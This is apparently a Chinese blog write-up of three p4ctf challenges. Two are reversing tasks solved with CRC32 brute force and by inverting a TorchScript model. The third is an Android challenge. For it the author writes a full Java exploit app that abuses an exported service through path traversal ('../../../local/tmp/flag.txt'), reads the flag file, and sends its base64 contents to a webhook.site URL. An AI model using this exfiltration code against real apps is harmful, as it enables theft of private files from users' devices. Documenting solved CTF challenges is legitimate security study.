p4ctf 部分 WriteUp

打了一天。爽了,ak 逆向,还意外做了个 Android pwn。

Pipeline

跑不起来,报 no such file or directory: ./pipeline

image

file 看一下,显然就是这个 interpreter 有问题,patch 一下就好了

image

首先看 main 函数实现如下:

image

主要就两个操作,一个是添加 handler (我自己起的名字,就是处理逻辑),另一个就是调用所有 handler ,实现分别如下:

image

image

剩下的就是这种模式一直套娃了,调试 + 静态分析,发现是 4个一组进行crc32,直接爆破

#include <stdint.h>
#include <cstring>
#include <stdio.h>

uint32_t crc32_ieee_update(uint32_t crc, const uint8_t* data, size_t len, uint32_t key) {
	crc = ~crc;
	for (size_t i = 0; i < len; i++) {
		crc = crc ^ data[i];
		for (uint8_t j = 0; j < 8; j++) {
			crc = (crc >> 1) ^ (key & -(crc & 1));
		}
	}
	return (~crc);
}

void force(uint32_t crc, uint32_t target, uint32_t key) {
	static const char* table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$ % &'()*+,-./:;<=>?@[\\]^_`{|}~";
	int table_len = strlen(table);
	uint8_t chars[5] = {};
	for (int i1 = 0; i1 < table_len; i1++) {
		chars[0] = table[i1];
		for (int i2 = 0; i2 < table_len; i2++) {
			chars[1] = table[i2];
			for (int i3 = 0; i3 < table_len; i3++) {
				chars[2] = table[i3];
				for (int i4 = 0; i4 < table_len; i4++) {
					chars[3] = table[i4];
					if(crc32_ieee_update(crc, chars, 4, key) == target) {
						chars[4] = 0;
						printf((char *)chars);
						return;
					}
				}
			}
		}
	}
}

int main() {
	uint32_t i = crc32_ieee_update(0, (const uint8_t*)"{", 1, 0xEDB88320);
	force(i, 0xB8867A21, 0xEDB88320);
	force(0xB8867A21, 0x2207DF1D, 0xEDB88320);
	force(0x2207DF1D, 0x422F92AB, 0xEDB88320);
	force(0x422F92AB, 0x9AB4EC5C, 0xEDB88320);
	force(0x9AB4EC5C, 0x1D4C7344, 0xEDB88320);
	force(0x1D4C7344, 0x604ADC40, 0x82F63B78);
	force(0x604ADC40, 406260467, 0x82F63B78);
	force(406260467, 1590255019, 0x82F63B78);
	force(1590255019, 0x9741CA4D, 0x82F63B78);
	force(0x9741CA4D, 0x5099BC96, 0x82F63B78);
	return 0;
}

Smart Code Recovery

上来给个 pt 文件,给我整懵逼了,搜索一下发现是 pytorch 的模型文件。看文件头,实际上是个 zip 压缩包,里面有 pkl 文件和 py 文件,还有一堆不知道是啥格式的二进制 data 文件。后面搜索到, pklpikle 序列化后的文件,用 pickletools 反汇编一下,发现是在压缩包里py文件的对象的序列化后的数据。

所以,先看看 py 文件什么情况,大体翻译后如下(借用队友给出的翻译,我的直接逆的:

#  input 应该是 float32 类型,下面脚本中按 int 类型处理,只是为了方便,只是伪代码

assert sum(input) == 3414

idx = [2, 3, 7, 12, 15, 21, 28, 30]
temp = [input[i] for i in idx]
torch.manual_seed(1337)
key = torch.randint(0, 255, [12])
assert rc4(key, temp) == [221, 5, 154, 142, 86, 190, 194, 232]

idx = [5, 9]
temp = [input[i] for i in idx]
assert torch.item(torch.var(temp)) == 84.5 and torch.item(torch.std(temp)) == 9.1923885345458984

idx = [4, 6, 8, 10, 11, 13]
temp = [input[i] for i in idx]
xor_data = torch.arange(2023, 2029)
for i in range(len(temp)):
    temp[i] ^= xor_data[i%len(xor_data)]
    temp[i] += 13
    temp[i] = sqrt(temp[i])
assert temp == [44.911022186279297, 44.113491058349609, 44.260593414306641, 44.011360168457031, 44.102153778076172, 44.237991333007812]

idx = [14, 16, 17, 18, 19]
temp = [input[i] for i in idx]
temp = __torch__.torch.nn.modules.container.Sequential.forward(temp)
assert temp == [4.378054141998291, 19.366579055786133, -3.287384033203125, 12.350498199462891, 25.331029891967773]

### 此处有错误 ###
# v 和 input 应该是 float32 类型
idx = [22, 23, 24, 25, 26]
temp = [input[i] for i in idx]
v = [0]*5
for a in range(5):
    for b in range(5):
        v[b] += pow(temp[a], b+1)*(a+1)
        v[b] %= 256
t = sum(v)
for i in range(5):
    v[i] ^= t
assert v == [544, 516, 604, 634, 766]
### 错误部分结束 ###

idx = [20, 27, 29, 31, 32, 33]
temp = [input[i] for i in idx]
    temp[i] /= 255
    temp[i] = tanh(temp[i])
assert temp == [0.36983790993690491, 0.44498646259307861, 0.37658852338790894, 0.4227045476436615, 0.44183593988418579, 0.45437204837799072]

首先,第一部分 rc4 ,其实 key 是固定的 [250, 172, 167, 175, 110, 193, 125, 110, 9, 65, 242, 45] ,用标准算法解不出来,直接用模型文件里的(a0a 在 pytorch 1.31+cu116 下无法直接运行,所以直接 copy 出来,哪里报错改哪里就行了。

def a0a(S: Tensor, pp: Tensor) -> Tensor:
    aa = torch.empty_like(pp, dtype=torch.uint8)
    i = 0
    j = 0
    for m in range(len(pp)):
        i0 = torch.remainder(torch.add(i, 1), 256)
        _0 = torch.add(torch.select(S, 0, i0), j)
        j0 = torch.remainder(_0, 256)
        _1 = annotate(int, j0)
        _2 = torch.select(S, 0, _1)
        _3 = torch.select(S, 0, i0)
        _4 = torch.Tensor.copy_(torch.select(S, 0, i0), _2)
        _5 = torch.Tensor.copy_(torch.select(S, 0, _1), _3)
        _6 = torch.add(torch.select(S, 0, i0), torch.select(S, 0, _1))
        _7 = annotate(List[Optional[Tensor]], [torch.remainder(_6, 256)])
        K = S[_7]
        _8 = torch.select(pp, 0, m) ^ K
        _9 = torch.Tensor.copy_(torch.select(aa, 0, m), _8)
        i, j = i0, _1
    return aa

torch.manual_seed(1337)
l = torch.randint(0, 255, [12])
task = torch.load(r'task.pt')
S = task.waco(l)
print(a0a(S, e1)) # [123, 114, 114,  95, 114, 114,  95,  97]

然后,第二部分,这个是求俩位的方差和标准差为指定值,这个可选的太多了,最后其他的都出来了,结合 sum 做吧。

紧接着,第三部分,这个是比较简单的,直接算一下就行了

_25 = torch.tensor([44.911022186279297, 44.113491058349609, 44.260593414306641, 44.011360168457031, 44.102153778076172,
                    44.237991333007812])
_25 = torch.round(torch.sub(torch.pow(_25, 2), 13)).to(torch.int32)
_25 = torch.bitwise_xor(_25, torch.arange(2023, 2029))
print(_25) # tensor([ 51, 101, 115, 110, 103, 116])

然后,第四部分,是 Sequential 具体是

class Sequential(Module):
  __parameters__ = []
  __buffers__ = []
  training : bool
  _is_full_backward_hook : NoneType
  __annotations__["0"] = __torch__.torch.nn.modules.linear.Linear
  __annotations__["1"] = __torch__.torch.nn.modules.linear.Linear
  def forward(self: __torch__.torch.nn.modules.container.Sequential,
    input: Tensor) -> Tensor:
    _0 = getattr(self, "0")
    _1 = getattr(self, "1")
    input0 = (_0).forward(input, )
    return (_1).forward(input0, )
  def __len__(self: __torch__.torch.nn.modules.container.Sequential) -> int:
    return 2

class Linear(Module):
  __parameters__ = ["weight", "bias", ]
  __buffers__ = []
  weight : Tensor
  bias : Tensor
  training : bool
  _is_full_backward_hook : NoneType
  in_features : Final[int] = 5
  out_features : Final[int] = 5
  def forward(self: __torch__.torch.nn.modules.linear.Linear,
    input: Tensor) -> Tensor:
    weight = self.weight
    bias = self.bias
    return torch.linear(input, weight, bias)

其中 torch.linear ,是

image

所以,求逆操作如下

task = torch.load(r'task.pt')
w0 = getattr(task.model, "0").weight
b0 = getattr(task.model, "0").bias
w1 = getattr(task.model, "1").weight
b1 = getattr(task.model, "1").bias
_28 = torch.tensor([4.378054141998291, 19.366579055786133, -3.287384033203125, 12.350498199462891, 25.331029891967773])
_28 = torch.matmul(torch.sub(_28, b1), torch.inverse(torch.t(w1)))
_28 = torch.round(torch.matmul(torch.sub(_28, b0), torch.inverse(torch.t(w0)))).to(torch.int32)
print(_28) # tensor([ 48,  99, 104,  95, 115], dtype=torch.int32)

然后,第五部分,这个上面的 python 因为类型原因是不等价的,方程不会解,直接爆破吧,爆破肯定要上 c 了,等价的 c 语言如下:

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <math.h>
#include <stdlib.h>

uint8_t check(uint8_t* input) {
	float arr[5] = {0, 0, 0, 0, 0};
	uint32_t dst[5];
	memset(dst, 0, 5);
	const uint32_t target[] = { 544, 516, 604, 634, 766 };
	for (int i = 0; i < 5; ++i)
	{
		for (int j = 0; j < 5; ++j)
		{
			arr[j] += powf(input[i], (float)j + 1.0f) * ((float) i + 1.0f);
			arr[j] = remainderf(arr[j], 256);
			if (arr[j] < 0)
				arr[j] += 256;

		}
	}
	uint32_t sum = 0;
	for (int i = 0; i < 5; ++i)
	{
		dst[i] = (uint32_t) floorf(arr[i]);
		sum += dst[i];
	}
	for (int i = 0; i < 5; ++i)
	{
		dst[i] ^= sum;
		if(dst[i] != target[i])
		{
			return 0;
		}
	}
	return 1;
}

void force() {
	static const char* table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[]^`{|}~_";
	int table_len = strlen(table);
	uint8_t chars[6];
	for (int i1 = 0; i1 < table_len; i1++) {
		chars[0] = table[i1];
		for (int i2 = 0; i2 < table_len; i2++) {
			chars[1] = table[i2];
			for (int i3 = 0; i3 < table_len; i3++) {
				chars[2] = table[i3];
				for (int i4 = 0; i4 < table_len; i4++) {
					chars[3] = table[i4];
					for (int i5 = 0;  i5 < table_len; ++i5)
					{
						chars[4] = table[i5];
						int v = chars[0] + chars[1] + chars[2] + chars[3] + chars[4];
						if (v >= 408 && check(chars)) {
							chars[5] = 0;
							printf("%s\n", (char*)chars);
						}
					}
				}
			}
		}
	}
}

int main() {
	force();
	system("pause");
	return 0;
}

爆破得到多个符合条件的值,但是联系上下文确定为 1pt_1

然后是最后一部分,直接用 arctanh 求逆

_34 = torch.tensor(
    [0.36983790993690491, 0.44498646259307861, 0.37658852338790894, 0.4227045476436615, 0.44183593988418579,
     0.45437204837799072])
_34 = torch.round(torch.mul(torch.arctanh(_34), 255)).to(torch.int)
print(_34) # tensor([ 99, 122, 101, 115, 121, 125], dtype=torch.int32)

最后,再用 sum == 3414, 爆破第二部分

def check2(temp):
    v0 = torch.var(torch.tensor(temp).to(torch.float32)).item()
    v1 = torch.std(torch.tensor(temp).to(torch.float32)).item()
    return v0 == 84.5 and v1 == 9.1923885345458984

def force2():
    all_str = string.digits + string.punctuation + string.ascii_letters
    temp = [0] * 2
    for a1 in all_str:
        temp[0] = ord(a1)
        for a2 in all_str:
            temp[1] = ord(a2)
            if check2(temp) and sum(temp) == 191:
                return temp # [102, 89] (顺序无关)

最后根据上下文以及各位的位置,得到 flag: p4{r3versing_t0rch_scr1pt_1z_easy}

Junior Malware Developer

这是一个 Android pwn,打开按照 **逆向** 的传统先看看 AndroidManifest.xml 文件,一眼丁真这里绝对有问题,虽然是第一次做 pwn,但是Android 开发这一拳 7 年的功力,也不是白学的操。

image

点进去看看,怎么事。

image

没有任何权限验证,好的游戏结束,启动开发模式!

目标模拟器好像是Android 12,启动外部的 Service 要先声明一下

    <queries>
        <package android:name="p4.dominikoso.securenotes" />

        <intent>
            <action android:name="p4.dominikoso.securenotes.action.READ" />
        </intent>
        <intent>
            <action android:name="p4.dominikoso.securenotes.action.SAVE" />
        </intent>
    </queries>

    <uses-permission android:name="android.permission.INTERNET" />

然后就是用下面的代码,先读一下题目描述里的 admin_note.txt 文件,得到提示

REMINDER: Move flag to a safer location! It's currently in /data/local/tmp/flag.txt. Don't forget!

然后,目录穿越 + 直接读双管齐下(当然都拿到了而且没啥区别,目录穿越的当然需要 xor 一下,

package com.sink.p4pwn;

import androidx.appcompat.app.AppCompatActivity;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    public static final String ACTION_READ = "p4.dominikoso.securenotes.action.READ";
    public static final String ACTION_SAVE = "p4.dominikoso.securenotes.action.SAVE";
    public static final String EXTRA_CONTENT = "p4.dominikoso.securenotes.extra.CONTENT";
    public static final String EXTRA_OUTPUT = "p4.dominikoso.securenotes.extra.OUTPUT";
    public static final String EXTRA_TITLE = "p4.dominikoso.securenotes.extra.TITLE";
    public static final String TAG = "CTF";

    private final BroadcastReceiver readBroadcastReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            byte[] data = intent.getByteArrayExtra(EXTRA_OUTPUT);
            if (data == null) {
                Log.e(TAG, "onReceive READ: null");
                return;
            }
            String encodeString = Base64.encodeToString(data, Base64.DEFAULT);
            Log.e(TAG, "onReceive READ: " + encodeString);
            new Thread(() -> {
                try {
                    URL url = new URL("https://webhook.site/721d5d1a-2c4b-42b0-bb59-6b66d5d5222d?flag=" + encodeString);
                    HttpURLConnection con = (HttpURLConnection) url.openConnection();
                    con.setRequestMethod("GET");
                    con.connect();
                    if (con.getResponseCode() == 200) {
                        Log.e(TAG, "SENT OK");
                    } else {
                        Log.e(TAG, "SENT ERR, code = " + con.getResponseCode());
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }).start();
        }
    };
    private final BroadcastReceiver saveBroadcastReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            String data = intent.getStringExtra(EXTRA_OUTPUT);
            Log.e(TAG, "onReceive SAVE: " + data);
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        // 注册
        registerReceiver(readBroadcastReceiver, new IntentFilter(ACTION_READ));
        registerReceiver(saveBroadcastReceiver, new IntentFilter(ACTION_SAVE));
        Intent intent = new Intent();
        intent.setAction(ACTION_READ);
        intent.setPackage("p4.dominikoso.securenotes");
        //  /data/local/tmp/flag.txt
        //  /data/data/xxx.xxx.xxx/files/../../../
        intent.putExtra(EXTRA_TITLE, "../../../local/tmp/flag.txt");
        startService(intent);
        new Thread(() -> {
            File file = new File("/data/local/tmp/flag.txt");
            try (FileInputStream fis = new FileInputStream(file)) {
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                byte[] bytes = new byte[256];
                int l = 0;
                while ((l = fis.read(bytes)) != -1) {
                    byteArrayOutputStream.write(bytes, 0, l);
                }
                String encodeToString = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT);
                URL url = new URL("https://webhook.site/721d5d1a-2c4b-42b0-bb59-6b66d5d5222d?local_read=" + encodeToString);
                HttpURLConnection con = (HttpURLConnection) url.openConnection();
                con.setRequestMethod("GET");
                con.connect();
                if (con.getResponseCode() == 200) {
                    Log.e(TAG, "SENT OK");
                } else {
                    Log.e(TAG, "SENT ERR, code = " + con.getResponseCode());
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }).start();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        unregisterReceiver(readBroadcastReceiver);
    }
}
posted @ 2023-05-14 23:41  gaoyucan  阅读(246)  评论(0编辑  收藏  举报